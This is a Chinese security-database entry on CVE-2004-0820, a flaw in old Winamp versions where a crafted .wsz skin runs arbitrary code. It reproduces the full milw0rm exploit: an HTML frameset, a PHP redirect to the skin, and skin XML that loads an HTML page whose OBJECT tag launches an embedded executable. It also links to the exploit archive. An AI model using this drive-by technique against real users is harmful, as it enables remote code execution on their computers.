Winamp漏洞-安全小百科

Winamp漏洞

漏洞ID	1108141	漏洞类型	未知
发布时间	2004-08-25	更新时间	2004-08-28
CVE编号	CVE-2004-0820	CNNVD-ID	CNNVD-200408-224
漏洞平台	Windows	CVSS评分	4.6

|漏洞来源

https://www.exploit-db.com/exploits/418
https://www.securityfocus.com/bid/90580
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200408-224

|漏洞详情

Winamp5.0.4之前的版本存在漏洞。远程攻击者借助HTML文件的脚本执行本地计算机区的任意脚本，该文件引用.wsz皮肤文件包含的XML文件。

|漏洞EXP

This 0day exploit is known to be circulating in the wild

There is no patch for this vulnerability -> Do not use Winamp !

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/418.rar    (skinhead.rar - 171 Ko)


index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>


Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?> 


foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml


/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>


/xml/includes.xml
-------------------
<include file="player.xml"/>


/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>


/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>


/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>[email protected]</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>

<include file="xml/includes.xml"/>
<!-- 
-->
</WinampAbstractionLayer>

// milw0rm.com [2004-08-25]

|受影响的产品

NullSoft Winamp 2.91

NullSoft Winamp 2.10

NullSoft Winamp 5.04

NullSoft Winamp 5.03

NullSoft Winamp 5.02

NullSoft Winamp 5.01

NullSoft Winamp 3.1

|参考资料

来源:XF
名称:winamp-wsz-execute-code(17124)
链接:http://xforce.iss.net/xforce/xfdb/17124
来源:www.frsirt.com
链接:http://www.frsirt.com/exploits/08252004.skinhead.php
来源:AUSCERT
名称:ESB-2004.0537
链接:http://www.auscert.org.au/render.html?it=4338
来源:SECUNIA
名称:12381
链接:http://secunia.com/advisories/12381/

相关推荐: DiamondCS Process Guard Service Description Table Restoration Vulnerability

DiamondCS Process Guard Service Description Table Restoration Vulnerability 漏洞ID 1098280 漏洞类型 Design Error 发布时间 2004-07-07 更新时间 20…

文章版权归作者所有，未经允许请勿转载。

THE END